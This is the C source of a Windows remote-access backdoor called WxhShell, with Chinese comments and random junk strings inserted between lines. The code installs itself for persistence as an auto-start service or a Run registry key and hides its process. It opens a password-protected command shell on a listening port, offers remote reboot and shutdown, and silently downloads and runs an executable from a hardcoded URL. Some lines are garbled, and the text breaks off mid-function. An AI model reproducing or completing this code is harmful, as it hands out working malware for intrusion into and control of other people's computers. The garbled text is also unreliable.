Jgz7=c static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =DGaK0n static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]'DtuT?Z 0'c<EJ HANDLE hProcess; =HYMX"s PROCESS_BASIC_INFORMATION pbi; d\'M ~VQ rS{Rzs^@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /M\S^!g@ if(NULL == hInst ) return 0; {(7C=)8): wa@X^]D8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `61VP-r g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M@
! {m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (*^_wq-; ;'p X1T if (!NtQueryInformationProcess) return 0; >c;qIP)Z J$]d%p_I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oRmN|d ~4 if(!hProcess) return 0; M I/9?B X 4;+` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]ZHC*r2i %l5Uy??Z CloseHandle(hProcess); A!W(> ^h4Q2Mv o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *.ZV.( if(hProcess==NULL) return 0; 8.'%wOU@A /'!F \ kz HMODULE hMod; +w%MwPC7` char procName[255]; po\Q Me unsigned long cbNeeded; cQS}pQyYN UTHGjE if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V)_mo/D!D *~:4&$ CloseHandle(hProcess); f\2'/g}6a '~<D[](/F if(strstr(procName,"services")) return 1; // 以服务启动 *"q ~z "a>%tsl$K return 0; // 注册表启动 0_,V} } 'FO^VJ;ha O`rAqO0F // 主模块 ){icI< int StartWxhshell(LPSTR lpCmdLine) i[T!{< { q71Tg SOCKET wsl; ;,'eO i BOOL val=TRUE; $l 0^2o= int port=0; haqL
DVrf struct sockaddr_in door; j""u:l^+x &AoXv`l4 if(wscfg.ws_autoins) Install(); . m@Sk`s !sK{:6s port=atoi(lpCmdLine); +'y$XR~W { A
ElNf: if(port<=0) port=wscfg.ws_port; .y#@~H($ p@YU7_sF^! WSADATA data; GwxfnCKi9 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QVQe9{ "0 Ym2![FC1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3'
mQ=tKa setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YDz:;Sp\ door.sin_family = AF_INET; sj0Hv d9 door.sin_addr.s_addr = inet_addr("127.0.0.1"); AL3zE=BL door.sin_port = htons(port); G\ru% svHs&v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dl;^sn0s closesocket(wsl); G %Wjtrpj return 1; z;2kKQZm } ,M5zhp$ bTb|@ if(listen(wsl,2) == INVALID_SOCKET) { 8! pfy" closesocket(wsl); j@&F[ r return 1; D}&U3?g= } 9p9:nx\ Wxhshell(wsl); eM*@}3 WSACleanup(); u01x}Ff~6 tg7%@SI5^- return 0; HT[<~c 5O]ph[7 } at/bes W I[c/)
N // 以NT服务方式启动 PZ
AyHXY VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P!0uAkt9C { CRw.UC\ DWORD status = 0; 6zaO$ DWORD specificError = 0xfffffff; ZdY:I;)s z|<6y~5, serviceStatus.dwServiceType = SERVICE_WIN32; wS hsu_(i serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7??+8T#n* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,_F1g<^@u serviceStatus.dwWin32ExitCode = 0; -'*B%yy serviceStatus.dwServiceSpecificExitCode = 0; 6Y`eYp5A serviceStatus.dwCheckPoint = 0; 6L}$R`s5H serviceStatus.dwWaitHint = 0; \L<Hy)l Pz:,q~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LW{7|g if (hServiceStatusHandle==0) return; "6FZX~]s! Kn?>XXAc status = GetLastError(); oDrfzm|[Y if (status!=NO_ERROR) !w(J]< { j[F\f> serviceStatus.dwCurrentState = SERVICE_STOPPED; p>Qzz`@e serviceStatus.dwCheckPoint = 0; -V%"i,t serviceStatus.dwWaitHint = 0; 4`7N}$j#, serviceStatus.dwWin32ExitCode = status; dNU i|IYm$ serviceStatus.dwServiceSpecificExitCode = specificError; |p-, B>p! SetServiceStatus(hServiceStatusHandle, &serviceStatus); >h(n8wTP return; 9!NL<}]{ } bLhTgss]( ;w a-\Z serviceStatus.dwCurrentState = SERVICE_RUNNING; l#Ipo5= serviceStatus.dwCheckPoint = 0; 9l]+rs+ serviceStatus.dwWaitHint = 0; HcavA{H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h-].?X,]Q } tMR&>hM &'TZU"_ // 处理NT服务事件,比如:启动、停止 sC(IeGbX VOID WINAPI NTServiceHandler(DWORD fdwControl) $^?Mip { Y[R veF switch(fdwControl) w/IYQC\v { 04D>h0yFf case SERVICE_CONTROL_STOP: b8r?Dd"T8 serviceStatus.dwWin32ExitCode = 0; '=Nb`n3% serviceStatus.dwCurrentState = SERVICE_STOPPED; mCb(B48]%X serviceStatus.dwCheckPoint = 0; %iPWg serviceStatus.dwWaitHint = 0; Ej~vp2 { c>6dlWTqX SetServiceStatus(hServiceStatusHandle, &serviceStatus); G3
rTzMO } YC8wo1;Y! return; 3"NO"+Q case SERVICE_CONTROL_PAUSE: ZX'q-JUv f serviceStatus.dwCurrentState = SERVICE_PAUSED; |-a5|3 break; o^&u?F9 case SERVICE_CONTROL_CONTINUE: -GCC serviceStatus.dwCurrentState = SERVICE_RUNNING;
@tGju\E"o break; ;|}N\[fk%] case SERVICE_CONTROL_INTERROGATE: ^~9fQJNs break; BKvX,[R2 }; L-?
?%_= SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z$LWZg } &kUEnwQ- duFVh8 // 标准应用程序主函数 =PYfk6j9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =.a} { b"Hc==` u1a0w // 获取操作系统版本 I!eu|_cF OsIsNt=GetOsVer(); IO3 p&sJ/ GetModuleFileName(NULL,ExeFile,MAX_PATH); CT1@J-np '9@S // 从命令行安装 p!B&&)&db if(strpbrk(lpCmdLine,"iI")) Install(); v3PtiKS o&0fvCpW // 下载执行文件 ;-sZaU; if(wscfg.ws_downexe) { FjR/_GPo6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MdXOH$ps WinExec(wscfg.ws_filenam,SW_HIDE); C@d*t? } DcYL8u -:cBVu-m if(!OsIsNt) { `yF6-F // 如果时win9x,隐藏进程并且设置为注册表启动 .j^tFvN~L HideProc(); iZY4+
X StartWxhshell(lpCmdLine); (+uM |a } PkX4 ! else |ecK~+ if(StartFromService()) JYbsta // 以服务方式启动 J>Pc@,y StartServiceCtrlDispatcher(DispatchTable); PL} Wu= else _E'F // 普通方式启动 6<1
2j7 StartWxhshell(lpCmdLine); /JsA[}.6 kZ<0|b return 0; yX9 .yq } E{s p $ix:S$ YYNh|
2 bUvVt3cm =========================================== Z5/*iun rebnV&- e~oh%l^C72 <<'%2q5 =z>d GIT1 +FomAs1*f " jkAWRpOc) ]#k=VKdV #include <stdio.h> TrCut2 #include <string.h> 1Hl-|n #include <windows.h> f/xQy}4+~E #include <winsock2.h> u00w'=pe) #include <winsvc.h> Ic2Q<V}oq #include <urlmon.h> :1asY:)vNP B(|*u #pragma comment (lib, "Ws2_32.lib") @TJxU #pragma comment (lib, "urlmon.lib") tTEw"DL_- r=6N ZoZ #define MAX_USER 100 // 最大客户端连接数 W&~\@j]!D #define BUF_SOCK 200 // sock buffer =[JstiT?E #define KEY_BUFF 255 // 输入 buffer l XpbAW n(uzqd #define REBOOT 0 // 重启 b~$8<\ #define SHUTDOWN 1 // 关机 |j}D2q= b :WA}x V #define DEF_PORT 5000 // 监听端口 k3(q!~a:.} QmgO00{ #define REG_LEN 16 // 注册表键长度 h"0)g:\ #define SVC_LEN 80 // NT服务名长度 .;\uh$c B4@1WZn<8 // 从dll定义API e&@;hDmIX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L"KKW
c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CdZ. T/x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S>Z07d6 & typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LZtO Q__B) XX7zm_>+ // wxhshell配置信息 C'~Eq3 struct WSCFG { lVv'_9yg int ws_port; // 监听端口 YsO3( HS char ws_passstr[REG_LEN]; // 口令 q nb#~=x^ int ws_autoins; // 安装标记, 1=yes 0=no .oS[ DTn5S char ws_regname[REG_LEN]; // 注册表键名 &w!(.uDO char ws_svcname[REG_LEN]; // 服务名 8]K+,0m6 char ws_svcdisp[SVC_LEN]; // 服务显示名 )%q!XM char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tw,|ZA4XH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s"UUo|hM int ws_downexe; // 下载执行标记, 1=yes 0=no ++sbSl)Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BT)PD9CN( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WA6reZ P5KpFL`B }; 3xk-D &" Spu>
ac // default Wxhshell configuration s6F0&L;N& struct WSCFG wscfg={DEF_PORT, M3U?\g "xuhuanlingzhe", `]`S"W7& 1, U?%T~! "Wxhshell", z"nMR_TTu "Wxhshell", iNs@8<=$T "WxhShell Service", .wV-g:2 "Wrsky Windows CmdShell Service", ?o1QjDG "Please Input Your Password: ", b_&:tE--] 1, k4d;4D? "http://www.wrsky.com/wxhshell.exe", w~C\5 i "Wxhshell.exe" -x{@D{Q% }; ,. zHG C2CR#b=)i // 消息定义模块 `_()|; !y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Up1n0 char *msg_ws_prompt="\n\r? for help\n\r#>"; llN/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x4i&;SP0 char *msg_ws_ext="\n\rExit."; Bz(L}V]\k char *msg_ws_end="\n\rQuit."; URbHVPCPb char *msg_ws_boot="\n\rReboot..."; XRmE char *msg_ws_poff="\n\rShutdown..."; \_(|$Dhq char *msg_ws_down="\n\rSave to "; nx(jYXVT T[evh]koB char *msg_ws_err="\n\rErr!"; H|S hi / char *msg_ws_ok="\n\rOK!"; 2:@,~{`#* OI_Px3)
y char ExeFile[MAX_PATH]; Co,?<v=Ll int nUser = 0; f?r{Q HANDLE handles[MAX_USER]; AJ>$`= int OsIsNt; ]VR79l Wf3{z
D~ SERVICE_STATUS serviceStatus;
O7%8FY SERVICE_STATUS_HANDLE hServiceStatusHandle; [!C!R$AMa |No9eZ8>. // 函数声明 _?]W%R| int Install(void); |!81M|H int Uninstall(void); U2r[.Ru int DownloadFile(char *sURL, SOCKET wsh); O1@3V/.Wu int Boot(int flag); NoMlTh(O void HideProc(void); Kum" }ux int GetOsVer(void); 6i;q=N$' int Wxhshell(SOCKET wsl); Zt&
7p void TalkWithClient(void *cs); LSR0yCU
int CmdShell(SOCKET sock); i= R%MH+ int StartFromService(void); EERCb%M8Z int StartWxhshell(LPSTR lpCmdLine); !UR3`Xk Y(] W+k< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #)#J`s1R VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1LaJ
hrp? T_qM@/f // 数据结构和表定义 ]4/C19Fe! SERVICE_TABLE_ENTRY DispatchTable[] = SQ*%d.1 { c'XSs {wscfg.ws_svcname, NTServiceMain}, xU2i&il^! {NULL, NULL} Jz4;7/ }; odDVdVx0 8>G5VhCm~o // 自我安装 ex#-,;T int Install(void) beBv|kI4 { ^ ;K"Y'f$ char svExeFile[MAX_PATH]; >(_2'c*[w HKEY key; P1z:L strcpy(svExeFile,ExeFile); }~Do0XUH \?wKs // 如果是win9x系统,修改注册表设为自启动 1h|qxYO if(!OsIsNt) { nXk9
IG( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~]24">VZf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \irKM8]LJ RegCloseKey(key); gil:SUW1r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ecx_&J@D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !u:Fn)j RegCloseKey(key); 7yJE+o' return 0; l*(L"] } BUdO:fr } ^hsr/| } G*=&yx."E else { KzX)6|g{" i03=Af3 // 如果是NT以上系统,安装为系统服务 n^rbc;} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !acuOBv, if (schSCManager!=0) h+7U'+|%A { j >`FZKxp SC_HANDLE schService = CreateService nVr V6w ( PbY.8d%2/k schSCManager, $2Awp@j wscfg.ws_svcname, W9{;HGWS wscfg.ws_svcdisp, t\]kVo) SERVICE_ALL_ACCESS,
'SXLnoeTa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;1s;" SERVICE_AUTO_START, Vx:uqzw# SERVICE_ERROR_NORMAL, mE=Tj%+x svExeFile, .76Z NULL, lfG',hlI; NULL, O$x +>^ NULL, R5mb4 NULL, V6+:g=@U-l NULL 4jlwu0L+ ); BpGyjoJ2 if (schService!=0) tk)}4b^\%j { V3 T.EW CloseServiceHandle(schService); h#Mx(q CloseServiceHandle(schSCManager); C?MKbD=K strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?r*}1WsH strcat(svExeFile,wscfg.ws_svcname); 'R2*3< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =(~*8hJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a^^OI|? RegCloseKey(key); {u0sbb( return 0; @\:@_}Z`_} } PN=5ICT } c,]fw2 CloseServiceHandle(schSCManager); s0CDp"uJY } Z%b1B<u$ } ]ncK M?'O U6o]7j&6 return 1; 1vAJ(O{- } + rM]RFi +6~zMKp // 自我卸载 }A[5\V^D* int Uninstall(void) K{9Vyt9,$ { 0'Qvis[kt HKEY key; 6-\'
*5r il"pKQF if(!OsIsNt) {
R7;X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /!.]Y8yEH RegDeleteValue(key,wscfg.ws_regname); ]dV$H RegCloseKey(key); i7rk%q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h#dfhcU> RegDeleteValue(key,wscfg.ws_regname); #Uep|A RegCloseKey(key); 1(_[awBx return 0; Su[(IMw } sk_xQo#Y
3 } gxJ12'
m } h`eHoKJ#w else {
hFan$W$ b\kA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kIe)ocJg if (schSCManager!=0) qv>l { Y4lN xvY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |VjD. ]I if (schService!=0) Z0v&AD= { &T ^bv*P if(DeleteService(schService)!=0) { % .ss CloseServiceHandle(schService); '|*e4n CloseServiceHandle(schSCManager); E70o nR!i return 0; b_u;
`^ } bA'N2~., CloseServiceHandle(schService); hSN38wy } U-$nwji CloseServiceHandle(schSCManager); #;+SAoN
} !w0=&/Y{R } yn20*ix{ *y` (^kyS return 1; kw7E<aF! } 6\v4# rJB/)4
mE // 从指定url下载文件 q0['!G%[" int DownloadFile(char *sURL, SOCKET wsh) ;!7M<T$& { b2j~"9 HRESULT hr; (^_INy* char seps[]= "/"; 2T@?&N^OD char *token; r gi4> char *file; R((KAl]dL char myURL[MAX_PATH]; i=hA. y` char myFILE[MAX_PATH]; NO/5pz}1 zz<o4bR strcpy(myURL,sURL); T-x9IoE token=strtok(myURL,seps); l1 _"9a%H while(token!=NULL) ux17q>G { RMid}BRE file=token; DK'S4%;Sp token=strtok(NULL,seps); \C2HeA\#SW } Gv[(0 79k+R9m GetCurrentDirectory(MAX_PATH,myFILE); P?jI:'u!R. strcat(myFILE, "\\"); NF-@Q@ strcat(myFILE, file); 4af^SZ)l send(wsh,myFILE,strlen(myFILE),0); J$T(p% send(wsh,"...",3,0); G,1g~h%I$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }I#_H if(hr==S_OK) v-"nyy-&Z return 0; wSdiF-ue else O*n@!ye return 1; 7<K=G2_: 9%0^fhrJ } KFaYn M~y}0Ik // 系统电源模块 M6V^ur 1 int Boot(int flag) ;
0M"T[c { >66
`hZ HANDLE hToken; znIS2{p/` TOKEN_PRIVILEGES tkp; C}pQFL{B5 ;<%th if(OsIsNt) { ~LP5hL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %F}d'TPx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F ^m;xy tkp.PrivilegeCount = 1; Um*&S.y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S0LaQ<9. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); THgEHR0,}[ if(flag==REBOOT) { uU-1;m#N? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) afu!.}4Ct return 0; |1e//* } }KNBqPo4B else { ZqjLZ9?q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ()n2 KT return 0; $U)nrni } Pmd5P:n*, } M7-2;MZ else { "x0KiIoPk if(flag==REBOOT) { ?N@[R]; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zH#urF6< return 0; 5{v uN)K3 } .&8a ;Q?c else { m9-=Y{&/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h}DKFrHW;- return 0; /bo`@ !-# } #3A|Z=,5 }
*D1vla8 1(e64w@ return 1; 2lqy <o } ),^pi? b&AeIU}&
// win9x进程隐藏模块 vkeZ!klYB void HideProc(void) K}'?#a(aX= { NYzBfL
x @3S:W2k HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SzfMQ@~ if ( hKernel != NULL ) _sY;
dS/ { &)_
z! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I8YCXh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3UUN@Tx FreeLibrary(hKernel); >gz8,& } [X>f;;h POX{;[SV return; xLgZtLt9 } \5Y<UJKi da@W6Ov x // 获取操作系统版本 2(Aw int GetOsVer(void) GR_caP { agQDd8 oX OSVERSIONINFO winfo; vF/wV'Kk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e0<O6 GetVersionEx(&winfo); nyBT4e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vUDMl Z return 1; 432]yhQ else yD@eT:lyi return 0; 5du xW>D } fVdu9 l SDVnyT // 客户端句柄模块 yM,Y8^ int Wxhshell(SOCKET wsl) D_`NCnYG { su3Wk,MLP SOCKET wsh; xJA{Hws struct sockaddr_in client; oArJ%Y> DWORD myID; Lu5X~6j"$ o/oLL w while(nUser<MAX_USER) % iZM9Q&NC { : LT'#Q8 int nSize=sizeof(client); 2IUd?i3~l wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;mPX8bT if(wsh==INVALID_SOCKET) return 1; tg\o"QKW9 P]armg% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '|<S`,'#hg if(handles[nUser]==0) &:1q3gDm closesocket(wsh); usC$NVdm else '}"&JO~vPj nUser++; S0}=uL#dt } wN :"(mQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xn,9Wj- :+ "H h% return 0; 2 gR*] ?C* } 1+YqdDqQ P+QL||>L // 关闭 socket syI|gANT/r void CloseIt(SOCKET wsh) 'g3T'2"`5 { +(^HL3 closesocket(wsh); 9[sOh<W nUser--; u(\O@5a ExitThread(0); -Zp BYX5e_ } !SIk9~rJ sV\K[4HG // 客户端请求句柄 LWhPd\ void TalkWithClient(void *cs) ZDov2W { @PctBS<s G\B+bBz SOCKET wsh=(SOCKET)cs; s[t<2)i char pwd[SVC_LEN]; n 8
K6m( char cmd[KEY_BUFF]; h_SkX@"/- char chr[1]; &~2IFp int i,j; =G"ney2 K9y~
e while (nUser < MAX_USER) { +w"?q'SnF oYt 34@{? if(wscfg.ws_passstr) { C\B4Uu6q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j-.Y!$a%6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |qz%6w= //ZeroMemory(pwd,KEY_BUFF); OmS8cSYGc i=0; ncUS8z while(i<SVC_LEN) { GR4DxlX NFKvgd@ // 设置超时 ;47z.i&T fd_set FdRead; sx}S,aIU struct timeval TimeOut; !&NrbiuN FD_ZERO(&FdRead); `uH7~ r^ FD_SET(wsh,&FdRead); O;|Cu7WU TimeOut.tv_sec=8; kX8NRPW TimeOut.tv_usec=0; iq[IZdza int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xc\zRsY` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OA(.&5] F\L!.B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D/GE-lq pwd=chr[0]; RBBmGZ if(chr[0]==0xd || chr[0]==0xa) { >k/cm3 pwd=0; 8/&4l,M5 break; 51y#AQ@ } h72CGA| i++; ic"8'Rwb } tC5-^5[y $mh\` // 如果是非法用户,关闭 socket ${eV3LSC if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QWEE%}\3} } Ak8Y?#"wz \4^rb?B send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (<8}un send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c+ByEP4EG -a &<Un/ while(1) { 4e#$-V $/B~ bJC ZeroMemory(cmd,KEY_BUFF); l;L_A@B< Pg{1' - // 自动支持客户端 telnet标准 .T3 m%n j=0; XM,slQ while(j<KEY_BUFF) { qb/}&J7+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aWJj@',_ cmd[j]=chr[0]; p:z~>ca if(chr[0]==0xa || chr[0]==0xd) { i7e6l C cmd[j]=0; Y#tur`N break; y&-QLX L } TEMxjowr j++; I.GoY[u_% } x5mg<y2`Ng nw0#gDI| // 下载文件 !!H"B('m if(strstr(cmd,"http://")) { (xRcG+3]; send(wsh,msg_ws_down,strlen(msg_ws_down),0); : -d_ if(DownloadFile(cmd,wsh)) :dAd5v2f send(wsh,msg_ws_err,strlen(msg_ws_err),0); BP0:<vK{ else W)/^*,
Q7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Y=`w,~~ } ]z/R?SM else { $2?j2}M IA({RE switch(cmd[0]) { mbGma kFV, Fg // 帮助 . R/y`:1:W case '?': { j)6p>6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zdd-n[%@V break; ,^97Ks
; } 0FgF, // 安装 ;%B9mM#p~ case 'i': { V?1 $H if(Install()) ,3y9yJQa*# send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>Mv$F"p: else cgSN:$p(R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <7`zc7c]# break; FutS } $[n:IDa*@1 // 卸载 T?t/[iuHrj case 'r': { >[,eK= if(Uninstall()) ?'9IgT[* send(wsh,msg_ws_err,strlen(msg_ws_err),0); d%"XsbO else Jt@lH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tmooS7\a break; ElV!C}g } 5;U Iz@BJ // 显示 wxhshell 所在路径 -6HwGfU case 'p': { xI{4<m/0N char svExeFile[MAX_PATH]; q`b6if" strcpy(svExeFile,"\n\r"); x9 %=d strcat(svExeFile,ExeFile); '2H?c<Y3 send(wsh,svExeFile,strlen(svExeFile),0); \`2'W1O break; t'l4$}( } =I@t%Y // 重启 r(46jV.sD: case 'b': { L2ydyXIsd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _y_}/ if(Boot(REBOOT)) _!@:@e)yB{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); czuIs|_K* else { [eDrjf3m closesocket(wsh); MMs~f* ExitThread(0); /[.V( K
D } -HG.GA break; R[a-" } .qO4ceW2-~ // 关机 1x:W 3. case 'd': { \}s/<Q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !i^"3!.l,] if(Boot(SHUTDOWN)) d?2ORr|m= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cp6S2v I else { 3k`Q]O=OU closesocket(wsh); gHrs|6q9 ExitThread(0); v$|~
g'6 } 3SP";3+ break; :*M?RL@j } m-vn5OX // 获取shell (WyNO QO' case 's': { e~N&?^M CmdShell(wsh); -AdDPWn closesocket(wsh); /I=|;FGq ExitThread(0); >.d/@3
' break; o$sD9xx } %o0b~R // 退出 P 0,]`w case 'x': { IR6W'vA send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @MES.g CloseIt(wsh); (Xh<F break; AafS6]y } $^ee~v;m4 // 离开 tDX& |